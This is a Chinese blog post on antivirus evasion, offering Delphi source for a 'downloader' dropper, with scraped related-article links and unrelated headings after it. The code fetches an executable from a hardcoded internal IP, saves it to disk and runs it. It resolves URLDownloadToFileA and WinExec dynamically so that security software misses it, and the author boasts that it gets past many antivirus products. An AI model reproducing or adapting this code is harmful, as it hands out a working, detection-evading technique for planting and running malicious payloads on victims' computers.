[免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者
2013-12-30 23:44:21         来源:K8拉登哥哥's Blog  
自己编译这份代码看看 过N多杀软  没什么技术含量
只是发出来给不懂的人入入门 也防止有新人老是来问

ShellApi,URLMon 单元

//Delphi动态调用API函数
procedure TForm1.Button1Click(Sender: TObject);
var
   SourceFile:ansistring;
   DestFile :ansistring;
   down2:function(Caller: IUnknown; URL: PChar; FileName: PChar;
Longint: DWORD; StatusCB: IBindStatusCallback): Longint; stdcall;
   exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;

begin
    SourceFile:='http://172.16.126.152/UrlDown/k8team.exe';
    DestFile := 'f:\bbbaa.exe';

//原函数  下载完就执行 典型的下载者 常用函数 是个杀软都会杀得你连路都不见
    //UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
    //WinExec(Pchar(DestFile),SW_SHOW);  //要和原函数对应

//动态调用
    @Down2:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
    Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil);

//动态调用
    @exe2:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
    exe2(PChar(DestFile),SW_SHOW);

end;

//=================================================================================================================

附上函数原型

URLDownloadToFile 函数

function URLDownloadToFile;              external UrlMonLib name 'URLDownloadToFileA';

UrlMonLib = 'URLMON.DLL';
 
function URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName:
PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult;
stdcall;

WinExec函数
 
function WinExec; external kernel32 name 'WinExec';

kernel32  = 'kernel32.dll';

function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;

[源码]Delphi源码免杀之函数动态调用 实现免杀的下载者的更多相关文章

  1. Delphi DLL的创建、静态及动态调用

    转载:http://blog.csdn.net/welcome000yy/article/details/7905463 结合这篇博客:http://www.cnblogs.com/xumenger/ ...

  2. [转]Delphi DLL的创建、静态 以及动态调用

    第一章  DLL简单介绍 由于在目前的学习工作中,需要用到DLL文件,就学习了下,在这里作个总结. 首先装简单介绍下DLL: 1,减小可执行文件的大小 DLL技术的产生有很大一部分原因是为了减小可执行 ...

  3. [源码]Delphi 5KB无输入表下载者

    [源码]Delphi 5KB无输入表下载者源码 PROGRAM Fun; type DWORD = LongWord; THandle = LongWord; BOOL = LongBool; LPC ...

  4. QQ2008自动聊天精灵delphi源码

    QQ2008自动聊天精灵delphi源码   unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Grap ...

  5. 转换GMT秒数为日期时间格式-Delphi源码

    转换GMT秒数为日期时间格式-Delphi源码.收藏最近在写PE分析工具的时候,需要转换TimeDateStamp字段值为日期时间格式,这是Delphi的源码. //把GMT时间的秒数转换成日期时间格 ...

  6. http代理工具delphi源码

    http://www.caihongnet.com/content/xingyexinwen/2013/0721/730.html http代理工具delphi源码 以下代码在 DELPHI7+IND ...

  7. [PHP源码阅读]trim、rtrim、ltrim函数

    trim系列函数是用于去除字符串中首尾的空格或其他字符.ltrim函数只去除掉字符串首部的字符,rtrim函数只去除字符串尾部的字符. 我在github有对PHP源码更详细的注解.感兴趣的可以围观一下 ...

  8. EventBus源码解析 源码阅读记录

    EventBus源码阅读记录 repo地址: greenrobot/EventBus EventBus的构造 双重加锁的单例. static volatile EventBus defaultInst ...

  9. ios源码-ios游戏源码-ios源码下载

    游戏源码   一款休闲类的音乐小游戏源码 该源码实现了一款休闲类的音乐小游戏源码,该游戏的源码很简单,而且游戏的玩法也很容易学会,只要我们点击视图中的grid,就可以 人气:2943运行环境:/Xco ...

随机推荐

  1. css3属性蒙版:-webkit-mask

    -webkit-mask: 蒙版,用于将固定形状设置透明度,形状可以是一个div,也可以是一张图片: 用法:-webkit-mask: radial-gradient(transparent 50px ...

  2. Python+Selenium学习--下载文件

    场景 webdriver 允许我们设置默认的文件下载路径.也就是说文件会自动下载并且存在设置的那个目录中,下面以firefox及chrome为例 代码 Firefox下载 为了让Firefox浏览器能 ...

  3. 258. Add Digits 入学考试:数位相加

    [抄题]: Given a non-negative integer num, repeatedly add all its digits until the result has only one ...

  4. Mysql 提升大数据表的拷贝效率

    工作上会经常遇到量级比较大的数据表  :场景: 该数据表需要进行alter操作 比如增加一个字段,减少一个字段. 这个在一个几万级别数据量的数据表可以直接进行alter表操作,但是要在一个接近1000 ...

  5. 【PHP面试题】通俗易懂的两个面试必问的排序算法讲解:冒泡排序和快速排序

    又到了金三银四找工作的时间,相信很多开发者都在找工作或者准备着找工作了.一般应对面试,我们无可厚非的去刷下面试题.对于PHPer来说,除了要熟悉自己所做的项目,还有懂的基本的算法.下面来分享下PHP面 ...

  6. 编辑linux内核与bosybox 时,make menuconfig 出现错误

    *** Unable to find the ncurses libraries or the *** required header files. *** 'make menuconfig' req ...

  7. Mybatis 中实体类的编写

    一个实体类对应一个数据表 一个属性对应一个字段 默认情况下类名和属性名都采用 “下划线转驼峰” 的命名方式.但具体采用什么样的命名方式并不重要(方式一致即可),在后面使用这些对象的时候,可以通过 re ...

  8. mysql---select的五种子句学习(where、group by、having、order by、limit)

      mysql---select的五种子句学习(where.group by.having.order by.limit) 分类: Mysql学习2012-09-27 16:14 1533人阅读 评论 ...

  9. Linux环境部署项目引起Out of Memory Error: PermGen Space的解决方案

    1. 背景 前几天,在搭建项目时遇到到一些问题,现在整理记录一下. Linux环境:Red Hat Enterprise Linux Server release 6.4: # 查看命令cat /et ...

  10. (21)The history of human emotions

    https://www.ted.com/talks/tiffany_watt_smith_the_history_of_human_emotions/transcript00:12I would li ...